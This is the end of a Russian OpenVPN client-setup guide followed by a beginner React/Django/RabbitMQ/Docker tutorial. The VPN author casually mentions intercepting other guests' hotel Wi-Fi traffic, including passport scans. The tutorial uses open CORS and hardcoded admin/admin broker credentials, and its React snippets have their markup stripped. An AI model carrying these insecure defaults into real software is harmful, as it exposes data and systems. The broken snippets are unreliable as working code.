Всё, серверная часть готова. Можно подключаться. Для перехода к следующим этапам, надо выгрузить с нашего сервера сертификаты из папки:
```
/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/
```
Это можно сделать при помощи SSH, либо mc если у вас есть ftp сервер. Нам нужны только некоторые файлы, какие именно читаем ниже.
#### Настройка android клиента (root не требуется)
1. Устанавливаем на телефон [OpenVPN for Android](https://play.google.com/store/apps/details?id=de.blinkt.openvpn)
2. Загружаем на карту памяти сертификат p12, брать тут
```
/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/vpn.android.p12
```
3. Запускаем [OpenVPN for Android](https://play.google.com/store/apps/details?id=de.blinkt.openvpn)
4. VPN Profiles > Add, вводим любое имя. Приступаем к настройке профиля:
* Basic > Server Address: IP адрес вашего VPN сервера, либо имя домена если вы его привязали
* Type: PKCS12 File
* Select: Выбираем наш файл \*.p12
* PKCS12 Password: вводим пароль импорта сертификата, заданный при его генерации.
* upd: используйте последнюю версию приложения, в ней проверка remote-cert-tls server включена по-умолчанию. либо включите вручную в настройках авторизации, проверку сертификата сервера
* Если вы включили tls-auth на сервере, включите в настройках профиля tls-auth и выберите ta.key
5. Готово. Подключаемся и проверяем, текущий статус подключения доступен в панели уведомлений (можно добавить на рабочий стол ярлык для конкретного VPN, он будет стартовать сразу по клику на ярлык, без лишних телодвижений. Если хотите чтобы при каждом подключении спрашивало пароль, просто не сохраняйте его в настройках профиля).
#### Настройка Windows клиента
1. Скачиваем и устанавливаем клиент: [32bit](http://swupdate.openvpn.org/community/releases/openvpn-install-2.3_beta1-I002-i686.exe) | [64bit](http://swupdate.openvpn.org/community/releases/openvpn-install-2.3_beta1-I002-x86_64.exe)
2. Создаем файл конфигурации myvpnconfig.ovpn (обычный текстовый файл):
```
remote IP_вашего_сервера 1194
client
dev tun
ping 10
comp-lzo
proto udp
tls-client
remote-cert-tls server
pkcs12 vpn.windows.p12
verb 3
pull
```
```
# Если вы включили tls-auth на сервере, добавьте в конфиг эту строку:
tls-auth ta.key 1
```
3. Создаем batch скрипт (start\_my\_vpn.cmd) для запуска VPN сессии:
```
cd C:\some\path\openvpn\
"C:\Program Files\OpenVPN\bin\openvpn.exe" --config C:\some\path\openvpn\myvpnconfig.ovpn
```
4. Скрипт и конфиг ложим в одну папку, в эту же папку кидаем vpn.windows.p12 сертификат, брать его тут
```
/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/vpn.windows.p12
```
5. Готово, ярлык на скрипт кидаем на рабочий стол, запускаем от имени администратора или от пользователя с его правами, при запуске он попросит ввести пароль для «импорта» сертификата.
Если пароль верный, то несколько секунд и мы подключились:
Для не параноиков или автостарта туннеля без ввода пароля, можно вместо p12 использовать связку сертификатов ca.crt, vpn.windows.key и vpn.windows.crt, выглядит это так,
вместо
```
pkcs12 vpn.windows.p12
```
пишем:
```
ca ca.crt
cert vpn.windows.crt
key vpn.windows.key
```
Файлы брать все там же
```
/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/
```
и положить в папку с myvpnconfig.ovpn и start\_my\_vpn.cmd.
#### Настройка Linux клиента
Настройка на примере debian 6.0
```
# ставим пакет openvpn
apt-get install openvpn
# создаем папку, в любом удобном месте для хранения сертификатов и скрипта подключения к VPN
mkdir /opt/openvpn
# создаем скрипт подключения
echo 'cd /opt/openvpn
/usr/sbin/openvpn --config /opt/openvpn/myvpnconfig.ovpn
' > /opt/openvpn/start_vpn.run
# создаем файл конфигурации
echo 'remote IP_ВАШЕГО_СЕРВЕРА 1194
client
dev tun
ping 10
comp-lzo
proto udp
tls-client
remote-cert-tls server
pkcs12 vpn.debian.p12
verb 3
pull' > /opt/openvpn/myvpnconfig.ovpn
# Если вы включили tls-auth на сервере, добавьте в конфиг эту строку:
# tls-auth ta.key 1
# vpn.debian.p12 берем как обычно на сервере /usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/
# опять же, можно вместо p12 использовать ca.crt, vpn.debian.key и vpn.debian.crt, как в примере с windows, для того чтобы не вводить пароль для подключения к VPN, это пригодиться например для автозапуска VPN.
chmod +x /opt/openvpn/start_vpn.run
```
Готово. Не забудьте положить vpn.debian.p12 или ca.crt, vpn.debian.key и vpn.debian.crt в папку со скриптом и файлом конфигурации.
Для подключения к VPN, просто выполните с повышенными привилегиями:
```
/opt/openvpn/start_vpn.run
```
#### Настройка роутера на dd-wrt (Big или Mega)
В данном случае будет проведена настройка роутера, как клиента сети VPN, для возможности удаленного подключения к роутеру, если подключение по внешнему адресу недоступно, например провайдер внезапно выдал вам NAT'ированный IP. Подключаться можно будет с любого устройства, внутри вашего VPN.
1. Перейдите на страницу [router\_ip/Diagnostics.asp](http://router_ip/Diagnostics.asp) (тех.обслуживание->команды)
2. Если у вас уже есть «Параметры запуска», то нажмите Редактировать и добавьте ниже приведенный код, после, либо до вашего. Если нет то просто вставьте его в «Командный процессор» и нажмите «Сохранить параметры запуска»
3. Собственно сам код запуска:
```
#### CERT ####
CA_CRT='-----BEGIN CERTIFICATE-----
C4dczC6ZeWIgri7krQzPIrX5hNYAc676PNv6iomNWVJNkugr
-----END CERTIFICATE-----'
CLIENT_CRT='-----BEGIN CERTIFICATE-----
C4dczC6ZeWIgri7krQzPIrX5hNYAc676PNv6iomNWVJNkugr
-----END CERTIFICATE-----'
CLIENT_KEY='-----BEGIN RSA PRIVATE KEY-----
C4dczC6ZeWIgri7krQzPIrX5hNYAc676PNv6iomNWVJNkugr
-----END RSA PRIVATE KEY-----'
#### CERT ####
#### OPEN VPN ####
OPVPNENABLE=`nvram get openvpncl_enable | awk '$1 == "0" {print $1}'`
if [ "$OPVPNENABLE" != 0 ]
then
nvram set openvpncl_enable=0
nvram commit
fi
sleep 30
mkdir /tmp/openvpn; cd /tmp/openvpn
echo "$CA_CRT" > ca.crt
echo "$CLIENT_CRT" > client.crt
echo "$CLIENT_KEY" > client.key
chmod 644 ca.crt client.crt
chmod 600 client.key
sleep 30
echo 'remote IP_ВАШЕГО_СЕРВЕРА 1194
client
dev tun
ping 10
comp-lzo
proto udp
tls-client
remote-cert-tls server
ca ca.crt
cert client.crt
key client.key
verb 3
pull' > openvpn.conf
# Если вы включили tls-auth на сервере, добавьте в конфиг эту строку:
# tls-auth ta.key 1
killall openvpn
openvpn --config /tmp/openvpn/openvpn.conf&
### MASQUERADE
iptables -I FORWARD -i br0 -o tun0 -j ACCEPT
iptables -I FORWARD -i tun0 -o br0 -j ACCEPT
iptables -I INPUT -i tun0 -j ACCEPT
iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
###
```
4. Переменные CA\_CRT, CLIENT\_CRT и CLIENT\_KEY, это содержимое файлов ca.crt, vpn.ddwrt.crt и vpn.ddwrt.key соответственно, просто открывайте их текстовым редактором и копируйте содержимое, в vpn.ddwrt.crt блок будет в самом конце, в двух других копируем содержимое полностью. Брать файлы известно где
```
/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys/
```
5. Не забудьте заменить IP\_ВАШЕГО\_СЕРВЕРА и нажать «Сохранить параметры запуска».
6. Перезагружаем роутер, пробуем подключиться к нему с другого устройства в вашем VPN. Посмотреть VPN IP адрес роутера можно например через ifconfig.
#### fin
Запустив OpenVPN на любом из клиентских устройств, проверить что вы выходите в интернет через защищенный канал достаточно просто, откройте 2ip.ru, если там будет IP адрес вашего сервера, а провайдером значится Hetzner, всё в порядке.
Настоятельно рекомендую запускать VPN туннель сразу после того как вы подключаетесь к открытым точкам доступа Wi-Fi.
Как показала моя последняя командировка, ловить в wi-fi сетях гостиниц и прочих учреждений не заботящихся о безопасности своих клиентов можно очень долго и невозбранно (особенно удивляет обилие сканов паспортов, в почтовых ящиках тур. агентов).
Помимо прочего, вы получаете возможность подключаться между устройствами, даже если они находятся за NAT провайдера, это очень удобно. Если конечно вы раскомментировали строку client-to-client в конфиге сервера.
Большое спасибо:
1. [www.opennet.ru/base/sec/openvpn\_server.txt.html](http://www.opennet.ru/base/sec/openvpn_server.txt.html)
2. [wiki.hidemyass.com/DD-WRT\_OpenVPN\_Setup](http://wiki.hidemyass.com/DD-WRT_OpenVPN_Setup)
3. [www.hetzner.de](http://www.hetzner.de/)
p.s.: провайдер так и не разблокировал youtube.com.
p.p.s.: android способ проверен на стоковых One X и SGS II.
p.p.p.s.: пост опубликован во вторник, это случайность. | https://habr.com/ru/post/153855/ | null | ru | null |
# React+Django как написать Hello World
#### Написание простого web приложения на react с бэкендом на Django, с БД на postgres, зайцем, nginx и всё завернуть в docker.
Для кого написана эта статья? По большому счету для самого себя, чтобы хоть как-то структурировать знания в своей черепушке. А также она будет полезна таким же начинающим разработчиками, как и я сам. Всё что описано ниже, не претендует на истину в первой инстанции. Более того, местами сделано так, как обычно не делают. Но так как у меня не стояла задача написать enterprise приложение, а хотелось просто пощупать и посмотреть, как это всё работает, то в целом результат меня устроил.
Должен сразу предупредить, что это не 100% личная разработка. Это проект Франкенштейн из разных статей интернета. Одной статьей я не смог найти, и поэтому после сборки начал писать эту, чтобы те, кому это интересно могли бы посмотреть и пощупать.
Начнём пожалуйНачну я с описания проекта.
На выходе у нас будет простое WEB приложение на React. Это будет простой список студентов, с пачкой текстовых полей, таких как имя, почта телефон и прочее. Так же к этому всему можно будет прикрепить изображение. Функционал будет так же довольно прост. Можно добавить студента, удалить или же отредактировать данные.
Храниться наши студенты будут как вы уже поняли в БД postgress, а вот бережно их туда будет складывать всеми любимая Django средствами Django rest framework.
Пользователь заходит на веб страницу. React топает на Django через nginx, забирает данные и строит таблицу с пользователями. Мы вольны добавить пользователя и отредактировать его. Закономерный вопрос, зачем в этой схеме Rabbit и два worker’а? Всё дело в изображении. Если пользователь при добавлении/редактировании не добавляет изображение в форму, то данные просто обновятся, не затрагивая текущее изображение. Но если таки мы решим что-нибудь прикрепить, то вступает в действие имитация бурной деятельности, изображению генерируется имя, и поле photo нашей модели записывается путь к нему. Далее мы генерируем сообщение на rabbit и вкладываем туда изображение и отправляем. Worker забирает его, изменяет размер и шлёт обратно в другую очередь. Второй worker забирает его и складывает по уже обозначенному выше пути. В зависимости от размера изображение на это может уйти какое-то время, но приложение продолжает работать и изображение может появиться либо сразу, либо после обновления страницы.
Вот в целом и всё. Что необходимо знать о приложении.
Теперь к делу, я все подготовительные операции проделывал на windows, а контейнеры собирал уже на centos.
Создадим каталог, в котором будет храниться наше приложение.
Я назвал его ProjectStudent.
1) Django.
Создаем внутри каталог для Django переходим в него.
Открываем в этом каталоге PowerShell (или cmd, кому как удобнее. В bash может незначительно отличаться)
Создаем виртуальное окружение и активируем его
```
python3 -m venv --copies ./env
.\env\Scripts\activate
```
Устанавливаем Django, стартуем новый проект и сразу создаем приложение.
```
pip install Django
django-admin startproject django_project
python manage.py startapp students
```
Из того что нам еще понадобится в Django сразу установим djangorestframework и django-cors-headers
```
pip install django djangorestframework django-cors-headers
```
Для начала достаточно. Давайте настроим.
Откроем файл django\django\_project\django\_project\settings.py
Настроим импорты на будущее, добавим данные о приложениях, middleware
```
import os
from pathlib import Path
from os import environ
INSTALLED_APPS = [
...
'rest_framework',
'corsheaders',
'students'
]
MIDDLEWARE = [
...
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
]
```
CORS\_ORIGIN\_ALLOW\_ALL определяет, должен ли Django быть полностью открыт или полностью закрыт по умолчанию, нам для тестов это не принципиально, поэтому мы сделаем его открытым.
```
CORS_ORIGIN_ALLOW_ALL = True
```
И добавим настройку для статики
```
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
```
Отлично. Теперь займемся студентами.
Открываем модель django\django\_project\students\models.py
и создаём модель
```
from django.db import models
class Student(models.Model):
name = models.CharField("Name", max_length=240)
email = models.EmailField()
document = models.CharField("Document", max_length=20)
phone = models.CharField(max_length=20)
registrationDate = models.DateField("Registration Date", auto_now_add=True)
photo = models.CharField("URL", max_length=512)
def __str__(self):
return self.name
```
Готово. Сохраняем всё и создаем файлы миграции и мигрируем.
```
Python manage.py makemigrations
python manage.py migrate
```
Давайте чтобы не сильно заморачиваться с данными и фикстурами, сразу создадим ещё один файл миграции и добавим данные туда.
```
python manage.py makemigrations --empty --name students students
```
после этой команды надо подправить файл django\django\_project\students\migrations\0002\_students.py
приведём его к такому виду:
```
from django.db import migrations
def create_data(apps, schema_editor):
Student = apps.get_model('students', 'Student')
Student(name="Joe Silver", email="joe@email.com", document="22342342", phone="00000000", photo='media/photo/nophoto.png').save()
Student(name="John Smith", email="john@email.com", document="11111111", phone="11111111", photo='media/photo/nophoto.png').save()
Student(name="Alex Smth", email="alex@email.com", document="22222222", phone="22222222", photo='media/photo/nophoto.png').save()
Student(name="Kira Night", email="kira@email.com", document="33333333", phone="33333333", photo='media/photo/nophoto.png').save()
Student(name="Amanda Lex", email="amanda@email.com", document="44444444", phone="44444444", photo='media/photo/nophoto.png').save()
Student(name="Oni Musha", email="oni@email.com", document="44444444", phone="44444444", photo='media/photo/nophoto.png').save()
class Migration(migrations.Migration):
dependencies = [
('students', '0001_initial'),
]
operations = [
migrations.RunPython(create_data),
]
```
И выполним ещё одну миграцию
```
python manage.py migrate
```
Отлично! Теперь у нас есть данные для тестов.
Перейдем к нашему api
Создадим сериализатор наших данных. файл django\django\_project\students\serializers.py
```
from rest_framework import serializers
from .models import Student
class StudentSerializer(serializers.ModelSerializer):
class Meta:
model = Student
fields = ('pk', 'name', 'email', 'document', 'phone', 'registrationDate','photo')
```
так, теперь настроим в uls.py, адреса по которым будут предоставляться наши данные открываем django\django\_project\django\_project\urls.py
импортируем дополнительно re\_path, наше студенческое view и настройки для статики.
```
from django.contrib import admin
from django.urls import path, re_path
from students import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('admin/', admin.site.urls),
re_path(r'^api/students/$', views.students_list),
re_path(r'^api/students/(\d+)$', views.students_detail),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
```
Теперь перейдём к view
Открываем django\django\_project\students\views.py
```
from rest_framework.response import Response
from rest_framework.decorators import api_view
from rest_framework import status
from .serializers import *
# Create your views here.
@api_view(['GET', 'POST'])
def students_list(request):
if request.method == 'GET':
data = Student.objects.all()
serializer = StudentSerializer(data, context={'request': request}, many=True)
return Response(serializer.data)
elif request.method == 'POST':
print('post')
serializer = StudentSerializer(data=request.data)
if serializer.is_valid():
serializer.save()
return Response(status=status.HTTP_201_CREATED)
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
@api_view(['PUT', 'DELETE'])
def students_detail(request, pk):
try:
student = Student.objects.get(pk=pk)
except Student.DoesNotExist:
return Response(status=status.HTTP_404_NOT_FOUND)
if request.method == 'PUT':
serializer = StudentSerializer(student, data=request.data, context={'request': request})
if serializer.is_valid():
serializer.save()
return Response(status=status.HTTP_204_NO_CONTENT)
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
elif request.method == 'DELETE':
student.delete()
return Response(status=status.HTTP_204_NO_CONTENT)
```
Давайте убедимся, что на данном этапе всё работает.
Запускаем сервер
```
python manage.py runserver
```
и открываем в браузере страницу <http://127.0.0.1:8000/api/students/>
Видим наших студентов. Значит всё ок!
Так на текущий момент мы с django закончили, теперь можно переходить к react.
Там писанины побольше будет, но в основном код. Поехали!
Как будет выглядеть наше приложение?
App будет состоять из двух компонентов, Header и Home. В свою очередь Home состоит из ListStudents и ModalStudent (кнопка добавить студента)
Выходим в корневую папку проекта и выполняем команду
```
npx create-react-app reactapp
```
установим пару дополнительных компонентов
```
npm i axios reactstrap bootstrap
```
После того как приложение создалось, начнем накидывать в него свои компоненты
Создаем в src каталог components, и в подкаталоги app, appHeader, appHome, appListStudents, appModalStudent, appPhotoModal, appRemoveStudent,appStudentForm.
Как вы поняли, каждый компонент в отдельном каталоге и файле.
В app можно перенести стартовый компонент, и работать с ним, по остальным компонентам создаем по js файлу на каждый.
В итоге получится примерно так.Комментарии к коду react я к сожалению не делал, там всё в функциональных компонентах. Там где я это подсматривал всё было в классовых, но т.к. я только познаю react простое преобразование из классовых в функциональные у меня не прокатило, пришлось всё написать с нуля, подсматривая в шпаргалку.
Начнем с самого верху и пойдём вниз.
App.js Основное приложение
```
import './App.css';
import {Fragment} from "react";
import Header from "../appHeader/Header";
import Home from "../appHome/Home";
function App() {
return (
);
}
export default App;
```
Header.js Заголовок
```
const Header = () => {
return (
---
App for project on React + Django
=================================
)
}
export default Header;
```
Home.js Данные
```
import {Container, Row, Col} from "reactstrap";
import ListStudents from "../appListStudents/ListStudents";
import axios from "axios";
import {useEffect, useState} from "react";
import ModalStudent from "../appModalStudent/ModalStudent";
import {API_URL} from "../../index";
const Home = () => {
const [students, setStudents] = useState([])
useEffect(()=>{
getStudents()
},[])
const getStudents = (data)=>{
axios.get(API_URL).then(data => setStudents(data.data))
}
const resetState = () => {
getStudents();
};
return (
)
}
export default Home;
```
ListStudents.js Таблица со студентами
```
import {Table} from "reactstrap";
import ModalStudent from "../appModalStudent/ModalStudent";
import AppRemoveStudent from "../appRemoveStudent/appRemoveStudent";
import ModalPhoto from "../appPhotoModal/ModalPhoto";
const ListStudents = (props) => {
const {students} = props
return (
| Name | Email | Document | Phone | Registration | Photo | |
| --- | --- | --- | --- | --- | --- | --- |
{!students || students.length <= 0 ? (
| **Пока ничего нет** |
) : students.map(student => (
| {student.name} | {student.email} | {student.document} | {student.phone} | {student.registrationDate} | |
|
)
)}
)
}
export default ListStudents
```
ModalStudent.js модалка, отвечающая за редактирование или добавление студента
```
import {Fragment, useState} from "react";
import {Button, Modal, ModalHeader, ModalBody} from "reactstrap";
import StudentForm from "../appStudentForm/StudentForm";
const ModalStudent = (props) => {
const [visible, setVisible] = useState(false)
var button = toggle()}>Редактировать;
const toggle = () => {
setVisible(!visible)
}
if (props.create) {
button = (
toggle()}
style={{minWidth: "200px"}}>
Добавить студента
)
}
return (
{button}
{props.create ? "Добавить студента" : "Редактировать студента"}
)
}
export default ModalStudent;
```
ModalPhoto.js модальное окно с изображением
```
import {Fragment, useState} from "react";
import {API_STATIC_MEDIA} from "../../index";
import {Button, Modal, ModalBody, ModalFooter, ModalHeader} from "reactstrap";
const ModalPhoto = (props) => {
const [visible, setVisible] = useState(false)
const toggle = () => {
setVisible(!visible)
}
return (
<>
Фото
toggle()}>Закрыть
)
}
export default ModalPhoto;
```
appRemovalStudent.js модальное окно с вопросом об удалении.
```
import {Fragment, useState} from "react";
import {Button, Modal, ModalHeader, ModalFooter} from "reactstrap";
import axios from "axios";
import {API_URL} from "../../index";
const AppRemoveStudent = (props) => {
const [visible, setVisible] = useState(false)
const toggle = () => {
setVisible(!visible)
}
const deleteStudent = () => {
axios.delete(API_URL + props.pk).then(() => {
props.resetState()
toggle();
});
}
return (
toggle()}>
Удалить
Вы уверены?
deleteStudent()}
color="primary"
>Удалить
toggle()}>Отмена
)
}
export default AppRemoveStudent;
```
StudentForm.js форма с данными студента, прицеплена к модальному окну добавления/редактирования
```
import {useEffect, useState} from "react";
import {Button, Form, FormGroup, Input, Label} from "reactstrap";
import axios from "axios";
import {API_URL} from "../../index";
const StudentForm = (props) => {
const [student, setStudent] = useState({})
const onChange = (e) => {
const newState = student
if (e.target.name === "file") {
newState[e.target.name] = e.target.files[0]
} else newState[e.target.name] = e.target.value
setStudent(newState)
}
useEffect(() => {
if (!props.newStudent) {
setStudent(student => props.student)
}
// eslint-disable-next-line
}, [props.student])
const defaultIfEmpty = value => {
return value === "" ? "" : value;
}
const submitDataEdit = async (e) => {
e.preventDefault();
// eslint-disable-next-line
const result = await axios.put(API_URL + student.pk, student, {headers: {'Content-Type': 'multipart/form-data'}})
.then(() => {
props.resetState()
props.toggle()
})
}
const submitDataAdd = async (e) => {
e.preventDefault();
const data = {
name: student['name'],
email: student['email'],
document: student['document'],
phone: student['phone'],
photo: "/",
file: student['file']
}
// eslint-disable-next-line
const result = await axios.post(API_URL, data, {headers: {'Content-Type': 'multipart/form-data'}})
.then(() => {
props.resetState()
props.toggle()
})
}
return (
Name:
Email
Document:
Phone:
Photo:
Send Cancel
)
}
export default StudentForm;
```
Подправим так же index.js
```
import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './components/app/App';
import reportWebVitals from './reportWebVitals';
import 'bootstrap/dist/css/bootstrap.min.css'
export const API_URL = "http://127.0.0.1:8000/api/students/"
export const API_STATIC_MEDIA = "http://127.0.0.1:8000/"
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
);
reportWebVitals();
```
Пробегитесь по путям импортов, проверьте чтобы всё совпадало с вашей ситуацией, если вы назвали приложения как-то иначе.
После этого стартуем приложение в консоли командой `npm start` иии...
Топаем на `http://localhost:3000`
Как видим наши данные прогрузились. Картинок нет, но это потому, что мы её не положили по адресу.
Давайте создадим в каталоге с проектом django пару дополнительных каталогов и файл nophoto.png для стартовой заглушки
После обновления видим что всё ок!В целом, это уже работающее приложение, можно удалить/добавить и отредактировать. Не работает только картинка, она уходит на django, но никак не обрабатывается там.
Теперь время добавить изображение. Но непосредственно с ним придётся повременить, так как предполагалось что это действие будет проходить через брокера сообщений. RabbitMQ мы планируем поднять в контейнере. Но тогда уже и пусть само приложение переезжает.
Для контейнеров у меня развёрнута виртуальная машина на Centos 7 на VirtualBox.
В целом ОС не важна, т.к. докер устанавливается на любую удобную для вас ОС, Fedora/Ubuntu/Debian и даже на windows (конечно же надо пользовать wsl).
Для разработки я использую vs code, в ней есть плагины для автоматического деплоя по sftp. Если у вас pycharm то там тоже всё прекрасно настраивается. Так или иначе, настраиваем синхронизацию нашего каталога ProjectStudent с сервером (лучше исключить из синхронизации каталоги виртуального окружения env у django проекта и node\_modules у реакт, помешать они не помешают, но там куча файлов, синхронизируются они долго, а толку от них там никакого, мертвый груз.)
Начнем с Django.
Останавливаем сервер и делаем команду `pip freeze >requirements.txt`
Переходим в каталог `django\django_project\django_project.`
создаем там `Dockerfile`
Заполним его
```
# Стартовый образ
FROM python:3.11-alpine
# рабочая директория
WORKDIR /usr/src/app
RUN mkdir -p $WORKDIR/static
RUN mkdir -p $WORKDIR/media
# переменные окружения для python
#не создавать файлы кэша .pyc
ENV PYTHONDONTWRITEBYTECODE 1
# не помещать в буфер потоки stdout и stderr
ENV PYTHONUNBUFFERED 1
# обновим pip
RUN pip install --upgrade pip
# скопируем и установим зависимости. эта операция закешируется
# и будет перезапускаться только при изменении requirements.txt
COPY ./requirements.txt .
RUN pip install -r requirements.txt
# копируем всё что осталось.
COPY . .
```
С Django пока всё. Давайте теперь к react.
Так же, переходим в reactapp и создаем Dockerfile
```
# так же берём готовый контейнер с node на основе alpine
FROM node:18-alpine as build
# Задаем рабочий каталог
WORKDIR /usr/src/app
# Копируем туда наши json файлы
ADD *.json ./
# Устанавливаем все пакеты и зависимости указанные в json
RUN npm install
# Добавляем каталоги public и src.
# можно воспользоваться командой COPY . . но если вы синхронизировали node_modules,
# то будете ждать пока зальётся этот каталог целиком.
# да и потом могут возникнуть проблемы.
ADD ./public ./public
ADD ./src ./src
```
Итак, описание сборки двух контейнеров готово. Но запускать их руками не так удобно, так что пусть этим занимается docker-compose. Так что если вы установили только докер, то добавьте еще docker-compose.
Вернемся в каталог ProjectStudent и создадим там `docker-compose.yml`
```
version: '3.8'
# Поднимаем два сервиса, django И node
services:
django:
#говорим что build будет из dockerfile который располагается ./django/django_project/
build: ./django/django_project/
# имя контейнера
container_name: djangoapp
# перезапускать контейнер при завершении выполнения работы или при аварийном завершении
restart: always
# проброс портов внутрь контейнера, 8000 порт на хост машине будет проброшен внутрь контейнера на такой же 8000 порт
ports:
- 8000:8000
# команда при старте контейнера
command: >
sh -c "python manage.py runserver 0.0.0.0:8000"
# Для статики мы подключаем два volume (чтобы при перезапуске наши данные не пропадали)), создадим их ниже.
volumes:
- django_static_volume:/usr/src/app/static
- django_media_volume:/usr/src/app/media
# подключаем к сети myNetwork (в целом не обязательно, но до кучи чтоб было)
networks:
- myNetwork
node:
# Аналогично, build из ./reactapp/dockerfile
build: ./reactapp
# имя контейнера
container_name: reactapp
# рестарт
restart: always
# порты
ports:
- 3000:3000
# команда при запуске
command: npm start
# Зависимость. нет смысла ноде, если некому отдать ей данные. поэтому сначала стартуем сервис django, а за ней node
depends_on:
- django
# Сеть та же, все контейнеры должны крутиться в однйо сети чтобы видеть друг друга.
networks:
- myNetwork
# создаём два volume для статики
volumes:
django_static_volume:
django_media_volume:
```
Первые два контейнера готовы. Запускаем `docker-compose up`
```
....
djangoapp | January 23, 2023 - 08:45:29
djangoapp | Django version 4.1.5, using settings 'django_project.settings'
djangoapp | Starting development server at http://0.0.0.0:8000/
djangoapp | Quit the server with CONTROL-C.
....
reactapp | Compiled successfully!
reactapp |
reactapp | You can now view reactapp in the browser.
reactapp |
reactapp | Local: http://localhost:3000
reactapp | On Your Network: http://192.168.224.3:3000
```
Отлично, всё запустилось.
Теперь можем проверить.
Т.к. теперь оно находится внутри контейнера на хостовой машине, localhost:3000 уже не катит, но для этого мы и пробрасывали порты, идём на хостовую машину на 3000 порт. В моём случае это `http://192.168.56.101:3000/`
Видим, что реакт запущен, но вот данных нет. Это, потому что ссылка на API всё еще ведёт на `127.0.0.1:8000`
Давайте это исправим. Остановим всё, через ctrl+C
Открываем `reactapp\src\index.js`
И поправим путь до api
`export const API_URL = "http://192.168.56.101:8000/api/students/"`
синхронизируем, и чтобы часто не перезапускать давайте подключим src и public как volume к контейнеру, тогда все ваши изменения при синхронизации будут попадать на хостовую машину и т.к. эти каталоги подключены как volume то соответственно все изменения сразу отражаются и в контейнере.
Добавим в docker-compose.yml в сервис node пару строк
```
volumes:
- ./reactapp/public/:/usr/src/app/public/
- ./reactapp/src/:/usr/src/app/src/
```
Такую же процедуру можно провернуть и с django
```
volumes:
- ./django/django_project:/usr/src/app/
- django_static_volume:/usr/src/app/static
- django_media_volume:/usr/src/app/media
```
Все, снова делаем docker-compose up.
Дожидаемся пока лог реакта не напишет successfully! И проверяем ещё раз.
Отлично, данные на месте. Настало время для изображений.
Чтобы не отходить далеко от контейнеров, сделаем сразу rabbit. Останавливаем всё через `ctrl + C`
Снова открываем yml файл и дописываем ещё один сервис rmq
```
rmq:
# на этот раз мы не билдим контейнер а используем полностью готовый из репозитория
image: rabbitmq:3.10-management
restart: always
container_name: rmq
networks:
- myNetwork
# Переменные окружения для настройки.
environment:
- RABBITMQ_DEFAULT_USER=admin
- RABBITMQ_DEFAULT_PASS=admin
# volume для хранения данных rmq, можно и без него, но тогда при перезапуске каждый раз будет создаваться новый и они будут потихоньку накапливаться
volumes:
- rabbitmq_data_volume:/var/lib/rabbitmq/
# проброс портов, 15672 для менеджмента, 5671-5672 для работы
ports:
- 1234:15672
- 5671-5672:5671-5672
```
И добавляем указанный volume в список volumes
```
volumes:
django_static_volume:
django_media_volume:
rabbitmq_data_volume:
```
Отлично.
От реакта в данный момент ничего не зависит, поэтому его не трогаем.
Идем править django
Надо добавить пару новых функций и чуть дописать старые.
Итак, в файл `django\django_project\students\views.py`
Дописываем следующее:
```
def save_image_to_media(serializer, request):
file_name = send_to_rabbit(request).split('separator')[1]
file_path = 'media\\photo\\' + file_name
serializer.validated_data['photo'] = file_path
if serializer.is_valid():
serializer.save()
```
Первая отправляет полученный request в функцию send\_to\_rabbit, из которой возвращается сгенерированное имя файла, это имя дополняется и отправляется в БД.
```
def send_to_rabbit(data):
file = data.FILES['file']
file_name = bytes('separator' + str(uuid.uuid4()) + '.' + file.name[file.name.rfind(".") + 1:], 'utf-8')
img = file.read() + file_name
hostname = '192.168.56.101'
port = 5672
credentials = pika.PlainCredentials(username='admin', password='admin')
parameters = pika.ConnectionParameters(host=hostname, port=port, credentials=credentials)
connection = pika.BlockingConnection(parameters=parameters)
channel = connection.channel()
channel.queue_declare(queue='to_resize')
channel.basic_publish(exchange='',
routing_key='to_resize',
body=img)
connection.close()
return file_name.decode('utf-8')
```
Тут у нас каждый раз происходит следующее:
1) Из request вытаскивается поле file, превращается в байтовый массив, к нему через сепаратор прицепляется сгенерированное через uuid имя этого файла.
2) Происходит инициализация соединения и сообщение отправляется в очередь на rmq.
Да, мы делаем это через пользователя admin/admin, можно через любого другого, просто надо до настроить.
3) Имя файла возвращается обратно, для записи в БД.
Отлично, сообщение отправили. Теперь его надо принять.
Создаём в корне проекта worker.py
По идее это должен быть отдельный сервис, не связанный с django. Но мы не будем плодить дополнительные, пусть все в одном контейнере работают, логику это не нарушит.
`Worker.py`
```
import pika
from PIL import Image
import io
import time
def initial():
try:
hostname = 'rmq'
port = 5672
credentials = pika.PlainCredentials(username='admin', password='admin')
parameters = pika.ConnectionParameters(host=hostname, port=port, credentials=credentials)
connection = pika.BlockingConnection(parameters=parameters)
# Создать канал
channel = connection.channel()
# На всякий случай создаём очереди
channel.queue_declare(queue='to_resize')
channel.queue_declare(queue='from_resize')
channel.basic_consume(queue='to_resize',
auto_ack=True,
on_message_callback=callback)
return True, channel
except:
return False, None
def callback(ch, method, properties, body):
try:
data = body.split(b'separator')
file_name = b'separator' + data[1]
fixed_height = 300
image = Image.open(io.BytesIO(data[0]))
height_percent = (fixed_height / float(image.size[1]))
width_size = int((float(image.size[0]) * float(height_percent)))
new = image.resize((width_size, fixed_height))
img_width = bytes(f'separator{new.width}', 'utf-8')
img_height = bytes(f'separator{new.height}', 'utf-8')
tobyte = new.tobytes() + img_width + img_height + file_name
return_resize_image(tobyte)
except Exception as error:
print(error)
def return_resize_image(data):
channel.basic_publish(exchange='',
routing_key='from_resize',
body=data)
if __name__ == '__main__':
count_try=0
conn=False
while not conn:
count_try+=1
print(f'I`m WORKER. Попытка присоединится №{count_try}')
conn, channel=initial()
if not conn:
time.sleep(2)
